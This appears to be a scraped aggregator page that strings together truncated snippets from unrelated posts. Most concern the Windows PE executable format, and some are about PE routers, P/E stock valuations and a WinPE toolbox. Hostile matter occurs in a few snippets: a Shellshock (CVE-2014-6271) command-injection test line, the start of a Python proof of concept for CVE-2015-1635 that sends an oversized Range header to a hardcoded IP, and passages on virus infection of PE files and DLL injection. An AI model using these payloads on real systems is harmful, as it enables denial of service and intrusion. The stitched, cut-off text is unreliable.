cve pe

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Modify PE executable files (1)

In Windows 9x, NT, and 2000, All executable files are based on a new file format portable Executable File designed by Microsoft. Format(Portable execution body), that is, PE format. In some cases, we need to modify these executable files. The following text attempts to describe the PE file format and modify the PE format file in detail. 1.

CVE-2014-6271 Bash Security Vulnerability mac OS X 10.9 repair process, cve-2014-6271bash

CVE-2014-6271 Bash Security Vulnerability mac OS X 10.9 repair process, cve-2014-6271bash# DetectionOpen the command line and enter the following content: env x='() { :;}; echo vulnerable' bash -c "echo this is a test" If the following is returned, upgrade as soon as possible. vulnerable this is a test # Upgrade Check the current version. Mine is 3.2.51 (1) bash -version Download

Cve-2015-1635 poc, cve-2015-1635

Cve-2015-1635 poc, cve-2015-16351 import socket 2 import random 3 ipAddr = "10.1.89.20" 4 hexAllFfff = "18446744073709551615" 5 req1 = "GET/HTTP/1.0 \ r \ n" 6 req =" GET/HTTP/1.1 \ r \ nHost: stuff \ r \ nRange: bytes = 0-"+ hexAllFfff +" \ r \ n "7 print (" [*] Audit Started ") 8 client_socket = socket. socket (socket. AF_INET, socket. SOCK_STREAM) 9 client_socket.connect (ipAddr, 80) 10 client_socket.sen

PE file structure details

Turn: http://hi.baidu.com/cqulwq/blog/item/2be170d6dbb03d2906088b26.html We all know that in Windows 9x, NT, and 2000, All executable files are based on a new file format portable designed by Microsoft.Executable FileFormat (portable execution body), that is, PE format. In some cases, we need to modify these executable files. The following text attempts to describe the PE file format in detail andModify.

PE file Structure detailed

1, positioning standard PE headDos stub length is not fixed, so DOS header is not a fixed-size data structure. The DOS head is located in the starting position of the PE, and the position of the standard PE head after the DOS head is e_lfanew by the field.The value of the E_lfanew field is a relative offset, and the base address of the DOS MZ header is required f

Learn to write compression shell experience Series 2 master the PE Structure, smooth and smooth

Author: little heartPrevious: http://www.bkjia.com/Article/201202/118214.htmlThere are many structures in the PE file, but in fact, more than half of these structures tell the loader how to load its PE. Normal PE files are always strictly filled with their internal structures, but there are also a small number of deformation

PE Study Notes (2)

V. Section Table) The section table is a structure array next to the PE Header. The number of members of this array is determined by the value of the numberofsections field in the file header (image_file_header) structure. The member structure of the table is also named image_section_header (40 bytes ). Its structure definition: Typedef struct _ image_section_header {Byte name [image_sizeof_short_name];Union {DWORD physicaladdress;DWORD virtualsize;}

PE Study Notes (2) choose blog from rivershan

V. Section Table)The section table is a structure array next to the PE Header. The number of members of this array is determined by the value of the numberofsections field in the file header (image_file_header) structure. The member structure of the table is also named image_section_header (40 bytes ). Its structure definition:Typedef struct _ image_section_header {Byte name [image_sizeof_short_name];Union {DWORD physicaladdress;DWORD virtualsize;} MI

Experience modifying PE files

Text/tU niuyuan We all know that in Windows 9x, NT, and 2000, all Executable files are based on a new Microsoft-designed File Format (Portable Executable File Format), that is, the PE Format. In some cases, we need to modify these executable files. The following text attempts to describe the PE file format and modify the PE format file in detail.

PE (portable executable is the executable that can be transplanted)

PE means portable executable (portable execution body ). It is the execution body file format of the Win32 environment. Some of its features inherit from the Unix coff (Common Object File Format) file format. "Portable executable" means that the file format is cross-Win32: Even if windows runs on a non-Intel CPU, the PE Loader on any Win32 platform can recognize and use this file format. Of course, there mu

Summary of PE router Learning

At present, PE routers are widely used. They are one type of VPN routers. So I have studied the explanations and principles of PE routers and will share them with you here, I hope it will be useful to you. VPNVirtual Private Network (VPNVirtual Private Network) is a virtual Private Network based on public networks. It uses tunneling, encryption, and other technologies to provide users with a sense of direct

PE file infection and memory resident

a separate thread. After the virus obtains control, it creates the corresponding search and infection thread, and gives the master ready-to-use control to the original program. Modify and infect PE files Now that you have been able to search for all files in disk and network shared files and want to implement parasitic operations, the next step is to infect the searched PE files. An important consideration

Hosting PE files

Document directory 1.3.1 hosting PE files Text/Xuan Hun Intermediate Language In the. NET Framework, the basic structure of public languages uses Cls to bind different languages. By requiring different languages to at least implement the CTS contained in CLs, the public language infrastructure allows different languages to use the. NET Framework. Therefore. in the. NET Framework, all languages (C #, VB. net, effil. net) is finally converted to a

High value-to-earnings (PE) valuation of major indices such as 500

All-finger medicine (SH000991)-2018-10-18, current value: 22.8575, average: 36.88, median: 36.27655, currently close to the lowest level of history. All-finger medicine (SH000991) history P/E ratio PE detailsEnvironmental protection (SH000827)-2018-10-18, current value: 16.0137, average: 28.73, median: 27.53245, currently close to the lowest level of history. Certificate of Environmental Protection (SH000827) of the history of

Generic PE Toolbox 1.9.6 (XP kernel) by Uepon (Li Peicong)

Generic PE Toolbox 1.9.6 (XP kernel) by Uepon (Li Peicong)Official website: http://hi.baidu.com/uepon?page=2Version 1.8 forum Posts: http://bbs.wuyou.net/forum.php?mod=viewthreadtid=119749General PE1.9.6 Introduction: HTTP://HI.BAIDU.COM/UEPON/ITEM/CEAFEB322BA148B9633AFFD3General PE V1.9.6 (XP kernel) Original: http://pan.baidu.com/s/1o6Fotx4Tonpe_xp_v1.9.6.exe does not include network card driver 39.8mb,to

Manually construct a typical PE File

Question: an absolutely detailed tutorial on manually Constructing PE files. Reprint Please Note Copyright: A1Pass http://a1pass.blog.163.com/ I have been learning the PE file structure for a long time and never dared to look down on it. But even so, I still find myself lacking in this aspect, so I thought of creating a complete executable PE file by hand. Durin

In-depth explanation of PE file structure

I. PE Structure Basics I have read a lot of PE Structure stuff, or the overall structure, or a lot of ASM code. I am a little uncomfortable looking at cainiao! So write a post on your own and learn PE. Let's first understand a few questions!1: Concepts of several addressesVA: virtual address, that is, the address in the memory!RVA: relative virtual address, equal

PE file format and API HOOK

For low-layer windows programming, API Interception is always an exciting thing. Is it more interesting to use your own code to change the behavior of other programs? In addition, in the process of implementing API Interception, we also have the opportunity to familiarize ourselves with many things that are rarely touched by in the RAD programming environment, such as DLL Remote injection, memory management, and PE file format. Many commercial softwar

PE file structure (1)

PE file structure (1) Reference Book: encryption and decryption Video: Little Turtle decryption series video EXE and DLL are all PE (portable execute) file structures. PE files use a flat address space. All code and data are merged to form a large structure. Let's take a look at two pictures to get a rough idea of the PE

Detailed description of PE File Format (II)

Http://www.vckbase.com/document/viewdoc? Id = 1335 Detailed description of PE File Format (II) Author: msdnAuthor: Li Ma (http://home.nuc.edu.cn /~ Titilima) Pre-defined section A Windows NT ApplicationProgramTypically, nine predefined segments are available:. Text,. BSS,. RDATA,. Data,. rsrc,. edata,. idata,. pdata, And. debug. Some applications do not need all these segments, and some applications define more segments for their special ne

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